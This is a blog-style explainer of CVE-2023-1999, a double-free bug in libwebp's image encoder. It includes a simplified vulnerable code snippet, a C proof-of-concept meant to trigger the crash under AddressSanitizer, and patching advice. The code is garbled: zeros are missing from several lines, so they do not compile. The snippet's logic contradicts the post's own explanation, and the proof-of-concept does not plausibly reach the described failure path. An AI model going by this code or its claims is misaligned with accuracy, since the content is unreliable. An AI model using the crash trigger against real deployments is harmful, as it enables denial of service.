CVE-2023-1999 is a serious security bug that exists in libwebp, a popular open-source library used for encoding and decoding WebP images. The vulnerability is a use-after-free / double free flaw that attackers could exploit to crash applications or even execute code remotely, depending on the context.

This post aims to break down the details, show where the bug lives, illustrate with code, and give exclusive, clear insight—even if you're not a full-time security researcher.

[How to Protect Yourself](#protection)

1. Background: libwebp and ApplyFiltersAndEncode()

libwebp is a library from Google that lets you encode and decode images in the WebP format. It’s used everywhere from Chrome to popular CMSs (WordPress!) and imaging tools.

One important function is ApplyFiltersAndEncode(). This function tries different filtering methods to compress images as much as possible. Internally, it loops through filter types, runs compression using the VP8 encoder, and handles memory for working buffers.


2. The Bug: How the Double Free Attack Happens

The heart of this CVE beats in how ApplyFiltersAndEncode() handles two pointers: best and trial, both pointing to VP8BitWriter memory.

For every filter method, the function creates or reassigns these pointers.

- When memory errors or OOM (“out of memory”) cases happen, cleanup code tries to free both best and trial.
- But! Under some failure circumstances, best and trial actually point to the same memory... so it tries to free the same pointer twice—leading to a *double free*.
- If an attacker controls the input image to trigger this, it could be possible to mess with application memory or crash the program.

The AddressSanitizer (ASAN) tool would flag this as a double free / heap-use-after-free bug.


3. Vulnerable Code Path with Explanation

Here’s a simplified code path inspired by the actual libwebp sources (see: Reference Commit). For simplicity, the code below demonstrates the pointer confusion.

VP8BitWriter best;
VP8BitWriter trial;

for (int i = ; i < NUM_FILTERS; ++i) {
    if (!VP8BitWriterInit(&trial, size, allocator)) {
        ok = ;    // OOM error.
        break;
    }
    if (EncodingTrial(&trial, filter_type[i]) && trial.size < best.size) {
        // Free previous best and update
        VP8BitWriterWipeOut(&best);  // <-- here
        best = trial;                // <- 'best' = 'trial'
        trial.mem = NULL;            // So only 'best' owns memory now
    }
}

// Clean up
VP8BitWriterWipeOut(&best);
VP8BitWriterWipeOut(&trial); // <-- If 'trial' == 'best', this is a double free!

What happens: If trial is picked as best, and later you get OOM and exit the loop, both best and trial point to the same buffer. When you clean up, VP8BitWriterWipeOut() will free the same memory twice.


4. Proof-of-Concept Exploit (ASan Trigger)

A minimal exploit would use a crafted image that causes the encoder to fail allocation in the second iteration of the filter loop, forcing both pointers to be equal at cleanup.

Here's a sanitized C code (you need to build libwebp with -fsanitize=address)

#include <webp/encode.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
    // You'd need a small image that pushes ApplyFiltersAndEncode into OOM
    // Crafting the bytes is non-trivial, but you can fake with a big size
    int width = 16384, height = 16384; // Large image triggers allocations.

    uint8_t* data = malloc(width * height * 3); // Large enough

    WebPConfig config;
    WebPPicture pic;

    WebPConfigInit(&config);
    WebPPictureInit(&pic);

    pic.width = width;
    pic.height = height;
    pic.use_argb = 1;
    WebPPictureImportRGB(&pic, data, width * 3);

    if (!WebPEncode(&config, &pic)) {
        printf("Failed to encode\n");
    }
    WebPPictureFree(&pic);
    free(data);

    return ;
}

Expected output (ASan)

==949==ERROR: AddressSanitizer: attempting double-free on x... in thread T...
    # x7f992e746bbb in __interceptor_free
    #1 x55555874e34c in VP8BitWriterWipeOut ...
...
SUMMARY: AddressSanitizer: double-free


Why This is Bad

- Crash: At minimum, applications using vulnerable libwebp may crash—impacting users or resulting in denial of service.
- Security Risk: Especially when image data comes from untrusted users (think browsers, CMSs), a double free can be leveraged for code execution in certain cases.

Official Fix

This was fixed in April 2023—see the GitHub commit. The patch adds proper checks to ensure both pointers aren’t freed twice.

References

- CVE-2023-1999 on NVD
- libwebp GitHub Commit
- ProjectZero report (for related bugs)


Update libwebp: If you use libwebp older than 1.3., update ASAP.

- Patch applications: Any app (especially if it lets users upload or process images) should use fixed versions.
- Monitor dependencies: If you use Docker, Linux, or frameworks embedding libwebp, make sure those packages are up-to-date.

Conclusion

CVE-2023-1999 is a classic example of how memory bugs in image libraries can have wide impact. If you are a developer, sysadmin, or even a power user, always stay current with security advisories for dependencies like libwebp.

Stay safe, update often, and happy bug hunting!

*If this helped, drop a note or share. For more exclusive deep dives like this, keep an eye on the security community or follow updates at libwebp’s GitHub.*

Timeline

Published on: 06/20/2023 12:15:09 UTC
Last modified on: 09/17/2023 09:15:12 UTC